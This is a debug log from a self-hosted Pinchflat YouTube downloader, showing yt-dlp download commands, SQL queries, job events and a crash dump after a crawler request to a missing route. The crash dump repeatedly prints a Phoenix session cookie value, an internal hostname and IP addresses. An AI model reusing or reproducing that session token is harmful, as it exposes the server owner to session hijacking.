/tmp/pinchflat/data/88/8f/888faa2bb4bcd3b5bf42311b20ff765e3887dcc7fb11383365f76f780872c50b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:43.356 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/92/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/88/8f/888faa2bb4bcd3b5bf42311b20ff765e3887dcc7fb11383365f76f780872c50b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:43.357 [debug] QUERY OK db=0.0ms idle=1294.7ms begin [] 22:31:43.357 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:31:40Z], "/downloads/Last Meals/2024-10-03 Stranger Things' Gaten Matarazzo Eats His Last Meal/Stranger Things' Gaten Matarazzo Eats His Last Meal [RG_jhSou0S4].mp4", ~U[2026-03-28 02:31:43Z], 92] 22:31:43.359 [debug] QUERY OK source="media_metadata" db=1.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/92/metadata.json.gz", "/config/metadata/media_items/92/thumbnail.jpg", 92, ~U[2026-03-28 02:31:43Z], ~U[2026-03-28 02:31:43Z]] 22:31:43.359 [debug] QUERY OK db=0.1ms commit [] 22:31:43.374 [debug] QUERY OK source="media_items" db=14.1ms idle=1297.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [378558831, ~U[2026-03-28 02:31:43Z], 92] 22:31:43.374 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:31:43.376 [info] {"args":{"id":92},"id":91,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":156310298,"event":"job:stop","queue_time":6011063390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:31:43.377 [debug] QUERY OK source="tasks" db=0.7ms idle=1314.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:43.377 [debug] QUERY OK source="tasks" db=0.7ms idle=506.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:43.378 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [93] 22:31:43.378 [debug] QUERY OK source="media_items" db=0.6ms idle=18.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [93] 22:31:43.383 [info] {"args":{"id":94},"id":93,"meta":{},"system_time":1774665103382946706,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:31:43.384 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [94] 22:31:43.384 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:31:43.384 [debug] QUERY OK source="tasks" db=1.5ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:43.384 [debug] QUERY OK source="tasks" db=1.6ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:31:43.385 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:31:43.385 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [93, 94] 22:31:43.386 [debug] QUERY OK source="media_profiles" db=1.3ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:43.386 [debug] QUERY OK source="media_items" db=1.4ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [93, 94] 22:31:43.387 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [94] 22:31:43.388 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [94] 22:31:43.388 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:43.388 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:43.388 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:43.389 [debug] Running yt-dlp command for action: get_downloadable_status 22:31:43.389 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:43.389 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:43.389 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:43.389 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c7/20/c720e298c4fd9248721323d9124c2fffd86495e925ea23fa38051c02475a9c82.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:46.015 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c7/20/c720e298c4fd9248721323d9124c2fffd86495e925ea23fa38051c02475a9c82.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:46.016 [debug] Running yt-dlp command for action: download 22:31:46.016 [debug] QUERY OK source="settings" db=0.1ms idle=953.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:46.016 [debug] QUERY OK source="settings" db=0.0ms idle=953.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:46.016 [debug] QUERY OK source="settings" db=0.0ms idle=953.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:46.016 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Eh2jUzJ-qWs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/3f/543f5df5bd178456fab2b1812ec76c6734b87085d6ffcd6b6cb1311c51a410bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:58.909 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.672 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:07.259 [info] GET /sources/1/media/108/edit 22:32:07.259 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "108", "source_id" => "1"} Pipelines: [:browser] 22:32:07.260 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1197.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:32:07.261 [debug] QUERY OK source="settings" db=0.1ms idle=1198.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:07.261 [debug] QUERY OK source="settings" db=0.1ms idle=349.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:07.262 [debug] QUERY OK source="settings" db=0.4ms idle=199.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:07.265 [info] Sent 200 in 5ms 22:32:28.911 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:36.683 [info] GET /sources/1/media/111/force_download 22:32:36.683 [debug] QUERY OK source="settings" db=0.2ms idle=1621.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:36.684 [debug] QUERY OK source="settings" db=0.0ms idle=1621.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:36.684 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:32:36.684 [error] #PID<0.4837.0> running PinchflatWeb.Endpoint (connection #PID<0.4836.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/111/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/111/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/111/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4837.0>, params: %{}, path_info: ["sources", "1", "media", "111", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/111"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/111/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgjrNfFIXRsrYAAUUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/111/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/111/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4836.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/111/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/111", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:32:57.254 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=yKiFpDAcOyU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/ee/fbee56f73a06e43aaacd643d1b3e87ce58d2a229990da7e33d3843201c8c713e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:32:57.268 [debug] Running yt-dlp command for action: download_thumbnail 22:32:57.269 [debug] QUERY OK source="settings" db=0.1ms idle=1206.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:57.269 [debug] QUERY OK source="settings" db=0.0ms idle=1206.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:32:57.269 [debug] QUERY OK source="settings" db=0.0ms idle=1206.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 